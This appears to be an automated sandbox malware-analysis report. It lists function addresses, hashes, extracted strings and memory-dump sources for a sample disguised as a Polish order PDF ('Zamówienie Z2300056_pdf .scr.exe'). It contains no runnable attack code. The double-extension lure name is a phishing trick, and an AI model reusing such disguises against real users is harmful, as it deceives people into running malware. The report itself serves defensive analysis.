Opcode Fuzzy Hash: 8b755e968ea96dc322e09bf39d0c49610de95d67fc7ccd3033aa9315ebdbe601
Instruction Fuzzy Hash: 28E0EDB4D04208EFCB94DFA8D8416ACFBF8EB49315F10C0AA9809D3355D631AE51DF44

Function 0798C628 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b755e968ea96dc322e09bf39d0c49610de95d67fc7ccd3033aa9315ebdbe601
Instruction ID: 02c878a4a577a763862e015aead25426061f9bb4f13b85dfa9ca34c89afd0355
Opcode Fuzzy Hash: 8b755e968ea96dc322e09bf39d0c49610de95d67fc7ccd3033aa9315ebdbe601
Instruction Fuzzy Hash: E8E0EDB4D04208FFCB94DFA8D84169CFBF8EB49314F10C0A9980993341D6319A51DF54

Function 0798EC20 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b70ac014ef5c9bb37e6664332d076bb996fd7bdc4359613140fd4cdb8e8f4e
Instruction ID: e5dee360f1044323b4d5dce54225f70735194d4f8a320a0bd1fa3664503901a9
Opcode Fuzzy Hash: c3b70ac014ef5c9bb37e6664332d076bb996fd7bdc4359613140fd4cdb8e8f4e
Instruction Fuzzy Hash: 60E086B490820CEBC744DFA4D85196DBFBCAB46305F50809DD84457341C6319E52DB94

Function 07987CE0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec67637c530d48928a80e8b2d8fb484b7e8572c466ea4ffba1bef86dcc5efc6f
Instruction ID: f6f038ba84ffdd218de0ce69cb666732ea7c25c3396c7762469272b2fe9c098d
Opcode Fuzzy Hash: ec67637c530d48928a80e8b2d8fb484b7e8572c466ea4ffba1bef86dcc5efc6f
Instruction Fuzzy Hash: 7AE04F74D08208EFC754DFE8D4516ACFBB8EB49214F2084EACC1953341D7715E41DB44

Function 07970D58 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5394038786e4e19d68f374ffc7e24aa192b6e24b4424003cd3b14379362858b3
Instruction ID: 6c41aad68cab3ad8ae73bcfb55336e5a67f614bfa1b552905ce9a1de657ca241
Opcode Fuzzy Hash: 5394038786e4e19d68f374ffc7e24aa192b6e24b4424003cd3b14379362858b3
Instruction Fuzzy Hash: 6BE06DB0A112198FDB94DF11C464B6E7772EB89305F4080ACE21E67390CE750D81CF28

Function 0798CC00 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ac5e5b5ac408513a1bbdda3aadc3ccb89d1afdb1765d0d5cc42cd5468366c1f
Instruction ID: b4c462e4ebd32a30341e791bfb4aee44034097613dd943547b74cd3ff08b5083
Opcode Fuzzy Hash: 5ac5e5b5ac408513a1bbdda3aadc3ccb89d1afdb1765d0d5cc42cd5468366c1f
Instruction Fuzzy Hash: 04E0C274908208EBCB04EFA4D84156CBBB8EB46304F2094EDC80913340CA316E82CBA4

Function 016A0B19 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601455143.00000000016A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16a0000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ea69996b7a6157dde673293ed56720115c9f8723cd4db94b04656fbef9705cd
Instruction ID: ea94e98564953eedfbcab5d00f3ba16fdebf8f603e3db994fa9a28dd51c2c750
Opcode Fuzzy Hash: 4ea69996b7a6157dde673293ed56720115c9f8723cd4db94b04656fbef9705cd
Instruction Fuzzy Hash: 42D05E203156015BE6496BBB841477CA6835FD7701B50412FD0178B2C4DE765C464B57

Function 016A0B28 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601455143.00000000016A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16a0000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f16ac6f3caf6eceb19a360b48e896580ba414e52417199b20a9cfdf357f873c
Instruction ID: 5c0a73455a4f9d9c9a8d2a896d1426f0a41169716f5811b3969e6fa3e3a02bcc
Opcode Fuzzy Hash: 7f16ac6f3caf6eceb19a360b48e896580ba414e52417199b20a9cfdf357f873c
Instruction Fuzzy Hash: DCD05E203156005BE5456BB7841422C96825FD7A01740402ED0078F3C4DE729C0A4B47

Function 0798D008 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b9af6760d689b28c46fda6923a3fd57217202f6979db5653361d0d20d24722
Instruction ID: dee2c8a3ef56d01a2c8c16e033b5256e50d3a5132321e53241a33bfe86a0cb6e
Opcode Fuzzy Hash: 32b9af6760d689b28c46fda6923a3fd57217202f6979db5653361d0d20d24722
Instruction Fuzzy Hash: 13C08CB004930586EA603A94B90C334B2BC830B20AF842810821D024A0CAB06460D21D

Function 016A0BE4 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601455143.00000000016A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16a0000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae76252482d417d3e200d8604c32c522949d0a588b70a586837f0536bbf7f9b1
Instruction ID: b079939798405b781b5a7c9c29c350018d5727a2acf7afc71ed292ec744af570
Opcode Fuzzy Hash: ae76252482d417d3e200d8604c32c522949d0a588b70a586837f0536bbf7f9b1
Instruction Fuzzy Hash: 17D0C93084130ADAEB20DB40CA197EDFBB0AB0C304F600459E103B5190C7B51E45CF52

Function 0798F8C0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22611bd51299dcdedccfd23d9187317ed8ffec9fc6646cb12f7c69fdc29a6027
Instruction ID: 0baf1919ea688fe0a9530dfff0b984da4bb65db4123871d6ae768203b2be42f7
Opcode Fuzzy Hash: 22611bd51299dcdedccfd23d9187317ed8ffec9fc6646cb12f7c69fdc29a6027
Instruction Fuzzy Hash: 7EA012300042088BC3005654EC05410775CA7445047045064E00D021118B12B821C680

Non-executed Functions

Function 05F3CA09 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87d4473ac0c4b479214636da368866364fa45caf8260b52d109656bdb67a1ca9
Instruction ID: 1b30446261684ce299b2512cdd52096af0607d123b5303c5d868a263862b9048
Opcode Fuzzy Hash: 87d4473ac0c4b479214636da368866364fa45caf8260b52d109656bdb67a1ca9
Instruction Fuzzy Hash: 3DB13874E04208DFEB24DFA6D495BADBBB2FF4A301F109169D00AA72A5DB785D85CF04

Function 05F3CA18 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d14bfb95870c167b4bef3b2b362a48fa591ee90cd69b98ea07e2fb76ab05b06c
Instruction ID: 0aeba97a072f5c6fb73d3c840e74e8a19b22ff6d79c286511274e1f33025a6e6
Opcode Fuzzy Hash: d14bfb95870c167b4bef3b2b362a48fa591ee90cd69b98ea07e2fb76ab05b06c
Instruction Fuzzy Hash: 2BB13870E04208DFEB24DFAAD455BADBBB6FF4A301F109169D00AA72A5DB785D85CF04

Function 07970006 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f29ad836f62f22fe6df5f518fe6f0ad836516bc0889df75e302b874b95a014
Instruction ID: 18911f7166ff6d2d59ce1393fecf373c6b3c226856b997c4e8d298a215f16278
Opcode Fuzzy Hash: 01f29ad836f62f22fe6df5f518fe6f0ad836516bc0889df75e302b874b95a014
Instruction Fuzzy Hash: 02310A71D097559FE72ACF6A8C0578ABBB6AF89310F04C0FB844CA6255EB740A85CF51

Function 07970040 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20c616f282c2a07af9c87c5adab7277e30087d3dc14583e565a5c2ce4c294baf
Instruction ID: dfde1108b4b59bc22b00b7ea39011c8f2ead5471ca2495df8b38f3321255429a
Opcode Fuzzy Hash: 20c616f282c2a07af9c87c5adab7277e30087d3dc14583e565a5c2ce4c294baf
Instruction Fuzzy Hash: 9A21BBB1D046299BEB28CF5B9C4579AF7FAAFC9304F04C1FA841CA6254EB700A858F51

Function 0798FB28 Relevance: 7.9, Strings: 6, Instructions: 404COMMON

Download Yara Rule

Strings

4'q, xrefs: 0798FBDC
(q, xrefs: 0798FCF2
4'q, xrefs: 0798FBAC
pq, xrefs: 0798FC7F
4'q, xrefs: 0798FBFA
4'q, xrefs: 0798FC72

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: (q$4'q$4'q$4'q$4'q$pq
API String ID: 0-2944075406
Opcode ID: 241f1fcab49b670075256e8edc17d795d8196322941c291cb9ad172d84a9a2a2
Instruction ID: b8f65a7e799ff4c96614cc201f1bf6a7305aa3dd81a551049f9a947578e5cf66
Opcode Fuzzy Hash: 241f1fcab49b670075256e8edc17d795d8196322941c291cb9ad172d84a9a2a2
Instruction Fuzzy Hash: 04D18D72A00214DFCB15DFA5D844E99BBB3FF89314F0584A8E609AB272C731ED52CB90

Analysis Process: Zam#U00f3wienie Z2300056_pdf .scr.exePID: 7552, Parent PID: 4888COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 01873E80 Relevance: 4.0, Strings: 3, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TD, xrefs: 01873EBF
TD, xrefs: 01873E9F
\Vdm, xrefs: 018740CB

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: \Vdm$TD$TD
API String ID: 0-3028891953
Opcode ID: b83e1825b71d2cca4262a54f7a1c5485b67a5cf21dd538c0321b72b059745bad
Instruction ID: 7198703df0942bfc76b216d221f41e0fbf94a0edc710091a22cbc18cde932a03
Opcode Fuzzy Hash: b83e1825b71d2cca4262a54f7a1c5485b67a5cf21dd538c0321b72b059745bad
Instruction Fuzzy Hash: 42917C70E00609CFDB25DFA9D8817AEBBF2BF88314F148129E815E7294DB74D945CB92

Function 0187B1D7 Relevance: 3.0, Instructions: 2995COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0b6daca9aeeb5ca3e3f94ccc1134f4ff6433af09c7ab9be948297835eeeffeb
Instruction ID: 5fe200ef54a52c1ac5475a2152fed308db1cdb2d45af632368fcaa1ff2f1f2bd
Opcode Fuzzy Hash: f0b6daca9aeeb5ca3e3f94ccc1134f4ff6433af09c7ab9be948297835eeeffeb
Instruction Fuzzy Hash: 1F630C31D10B198ADB51EF68C8806A9F7B1FF99300F55C79AE458B7121FB70AAD4CB81

Function 01874A98 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

TD, xrefs: 01874AD7
TD, xrefs: 01874AB7

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: TD$TD
API String ID: 0-1905033536
Opcode ID: e99f945cc6268afcb30487a79ef7bbe8acb348397e40dc6c94589502cacc1101
Instruction ID: 81e2ac329ad11401c31a87d52ef4aa6b1f9a9adcf4af6cb3de6b5241b7599584
Opcode Fuzzy Hash: e99f945cc6268afcb30487a79ef7bbe8acb348397e40dc6c94589502cacc1101
Instruction Fuzzy Hash: EDB14F70E003198FDB24CFA9D8857ADBFF2AF88314F248529D855E7294EB74D985CB81

Function 0187DBC8 Relevance: 2.3, Instructions: 2313COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3ad584f86ac9a64b59ba590f40fa361eca9b7652a4549f0904a037d4ccff14d
Instruction ID: cedb98e9f37f723326eca484debfd42d033bbbd38d56a8764fc8f306e23c13b0
Opcode Fuzzy Hash: c3ad584f86ac9a64b59ba590f40fa361eca9b7652a4549f0904a037d4ccff14d
Instruction Fuzzy Hash: E7330B31D107198EDB11EB68C8906ADF7B1FF99300F55C79AE458A7221EB70EAC5CB81

Function 01874810 Relevance: 5.2, Strings: 4, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Vdm, xrefs: 0187487F
\Vdm, xrefs: 018749D2
TD, xrefs: 0187482F
TD, xrefs: 0187484F

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: \Vdm$\Vdm$TD$TD
API String ID: 0-414939099
Opcode ID: d09a4f80f58cc34629721c87fd029871840d40f91747f0aa67cbda687a8af099
Instruction ID: dc5f105ef745a4b6a915011f3191cfaf80f3e1e384d851d5e1caf45ae60fcf61
Opcode Fuzzy Hash: d09a4f80f58cc34629721c87fd029871840d40f91747f0aa67cbda687a8af099
Instruction Fuzzy Hash: 92716A70E003498FDB24DFA9C8817AEFBF2AF88314F148129E415EB294EB74D941CB95

Function 01874807 Relevance: 5.2, Strings: 4, Instructions: 176
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Vdm, xrefs: 0187487F
\Vdm, xrefs: 018749D2
TD, xrefs: 0187482F
TD, xrefs: 0187484F

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: \Vdm$\Vdm$TD$TD
API String ID: 0-414939099
Opcode ID: 1314ea90081a035396f68f062fbced051cdaafac1c92b672099c99ebfd02b8d6
Instruction ID: 0c93866690bbe84ac4907661e27babdaf337d730cece8a7177af56cb4c327646
Opcode Fuzzy Hash: 1314ea90081a035396f68f062fbced051cdaafac1c92b672099c99ebfd02b8d6
Instruction Fuzzy Hash: BB715870E003598FDB24DFA9C885B9EFBF2AF48314F148129E415EB2A4EB749941CB95

Function 01873E74 Relevance: 4.0, Strings: 3, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TD, xrefs: 01873EBF
TD, xrefs: 01873E9F
\Vdm, xrefs: 018740CB

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: \Vdm$TD$TD
API String ID: 0-3028891953
Opcode ID: addaa3a82936c12e4c6b58bc71e93da042bf04aded1acab5dcecc08441c37d9f
Instruction ID: 07d34bfc8517a2768a503f97cb82a193dbd08d4efe753ce99355961ed59c3097
Opcode Fuzzy Hash: addaa3a82936c12e4c6b58bc71e93da042bf04aded1acab5dcecc08441c37d9f
Instruction Fuzzy Hash: ACA15A70E00609DFDB21DFA8D8857AEBBF2BF48314F148129E815E7294DB74DA45CB92

Function 06D6E9F1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 06D6EA5F

Strings

TD, xrefs: 06D6EA17

Memory Dump Source

Source File: 0000000C.00000002.2496267951.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d60000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: TD
API String ID: 1890195054-3807118194
Opcode ID: 120844ca4bb5dac93c9f2985c6f87859d3be2fbc563339f8f6cce283429fb033
Instruction ID: e56c097f90e5a639db7f25e05e53e1d042cc31daa67a227dc36516e9ca48c1b2
Opcode Fuzzy Hash: 120844ca4bb5dac93c9f2985c6f87859d3be2fbc563339f8f6cce283429fb033
Instruction Fuzzy Hash: 051114B5C006599BCB20DF9AC445BDEFBF4FF48324F11812AE818A7240D778A945CFA1

Function 06D6E9F8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 06D6EA5F

Strings

TD, xrefs: 06D6EA17

Memory Dump Source

Source File: 0000000C.00000002.2496267951.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d60000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: TD
API String ID: 1890195054-3807118194
Opcode ID: 8478b8e8dabda0c520de70bcb91daa3354bfd71a986b3e2336797bc21ea559c2
Instruction ID: 3ab2ee239508846c414cf58cab369c27297cfe2f3aa65d3a458e63a1112a9049
Opcode Fuzzy Hash: 8478b8e8dabda0c520de70bcb91daa3354bfd71a986b3e2336797bc21ea559c2
Instruction Fuzzy Hash: EE1126B5C002599BCB10DF9AC445BDEFBF4FF48320F11812AD818A7240D778A945CFA1

Function 01874A8C Relevance: 2.8, Strings: 2, Instructions: 263COMMON

Download Yara Rule

Strings

TD, xrefs: 01874AD7
TD, xrefs: 01874AB7

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: TD$TD
API String ID: 0-1905033536
Opcode ID: e024c8c9a9d428905e7ec378a025fa859f3ac3576ba7ddacedb374e96c0cf6f6
Instruction ID: a221e2c2b5ff5f8f35820dae65409b070a1d9864ef45cce19adec9c2c020f684
Opcode Fuzzy Hash: e024c8c9a9d428905e7ec378a025fa859f3ac3576ba7ddacedb374e96c0cf6f6
Instruction Fuzzy Hash: 20B15F70E003198FDB20CFA9D8857ADBFF1AF88314F248529D855E7294EB74D985CB81

Function 01876CDF Relevance: 2.6, Strings: 2, Instructions: 134COMMON

Download Yara Rule

Strings

TD, xrefs: 01876D0D
TD, xrefs: 01876D2D

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: TD$TD
API String ID: 0-1905033536
Opcode ID: eeec4e6f42a780f71ec61a149cef4ac5974ce86599cabfc5fea7cd1ab58da91b
Instruction ID: f9e7fded3b7a51eb059f5b0cd447daaa287f93bdc5ba6d739c5d8876cb859d45
Opcode Fuzzy Hash: eeec4e6f42a780f71ec61a149cef4ac5974ce86599cabfc5fea7cd1ab58da91b
Instruction Fuzzy Hash: F9514471D106188FEB18CFA9C885B9DBBB1FF48310F258129E815BB351E774A940CF91

Function 01876CE8 Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

TD, xrefs: 01876D0D
TD, xrefs: 01876D2D

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: TD$TD
API String ID: 0-1905033536
Opcode ID: 3db9b3e773df7ecc52756b8f60f6a3876cd38152a1301e5049411353e4352fef
Instruction ID: 2c26362dad7e268c0f6dac4c6b0a1f3e5c7b2e66dec54d161ae31473c8f8adc6
Opcode Fuzzy Hash: 3db9b3e773df7ecc52756b8f60f6a3876cd38152a1301e5049411353e4352fef
Instruction Fuzzy Hash: 93513371D106188FEB18CFA9C884B9DBBF1BF48310F258429E815BB350EB75A944CF91

Function 018726DC Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

TD, xrefs: 01872710
,, xrefs: 018726E1

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: ,$TD
API String ID: 0-3996681372
Opcode ID: 77580a90ffc14eba95852ca2f4cd2d669b0f5befe8afb87ec9383be4a584dd4a
Instruction ID: 038694ef6dc23dbb65d7dc7c5ca90d5da36a7e0c512fc3dfd04b85fbbe0cc9fc
Opcode Fuzzy Hash: 77580a90ffc14eba95852ca2f4cd2d669b0f5befe8afb87ec9383be4a584dd4a
Instruction Fuzzy Hash: E041F170D003499FEB14DFA9C984ADEBFF5FF48314F148029E819AB250DB759949CB91

Function 01876EE3 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

LRq, xrefs: 01876F0E

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 6278e17afb85e73dd1fb048516f3c846dc3fec7e43fbacb10813e27e6ff412b0
Instruction ID: 9ea4a1fddb92ca380ffcfae4ec9756de2dcbe73df6204db3ebb61baaa5301a01
Opcode Fuzzy Hash: 6278e17afb85e73dd1fb048516f3c846dc3fec7e43fbacb10813e27e6ff412b0
Instruction Fuzzy Hash: E6517C347006188FEB15DB69C458AAE7BB6EF89710F2040A9E406EB3A1DB75DD41CBA1

Function 01877D28 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

LRq, xrefs: 01877E1C

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: 8d4b7016299a2297baca56c058821d7a9d1b1789709f1d0e329ed4a7810305f4
Instruction ID: 7b58f6e52eb0413ae22bcf60b5380091d4f9852ed0e7679ecd6787c08855b26a
Opcode Fuzzy Hash: 8d4b7016299a2297baca56c058821d7a9d1b1789709f1d0e329ed4a7810305f4
Instruction Fuzzy Hash: B8316271E102199FDB16CF69C8497AEBBB2FF45700F208825E805EB255EBB0DE81CB51

Function 01877D98 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

LRq, xrefs: 01877E1C

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: d4e8472a5497bfde1ce30cb919b3bfc42daa18c78acde514d5c63d22a7bd43a1
Instruction ID: a8d0e3431dd605e4c47d41bd01210645602120ed6599528b0309a38b4469b017
Opcode Fuzzy Hash: d4e8472a5497bfde1ce30cb919b3bfc42daa18c78acde514d5c63d22a7bd43a1
Instruction Fuzzy Hash: F4316E71E10219DBDB15CFA9D8457AEB7B1FF85700F208926E905EB240EB70DE81CB90

Function 018726E8 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

TD, xrefs: 01872710

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: TD
API String ID: 0-3807118194
Opcode ID: ec5e568b039fe911b81528d4a43b8f2786b8290725bcf60bc54eb56e81182087
Instruction ID: 2549510d2c268e768b64832d265dfdaec6629b1dcd5cc985bbb11b248a5d6075
Opcode Fuzzy Hash: ec5e568b039fe911b81528d4a43b8f2786b8290725bcf60bc54eb56e81182087
Instruction Fuzzy Hash: 3841DFB0D0034D9FEB24DFA9C584ADEBBF5FF48314F148029E819AB250DB75A945CB90

Function 0187187B Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

x, xrefs: 01871881

Memory Dump Source

Source File: 0000000C.00000002.2487445728.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1870000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
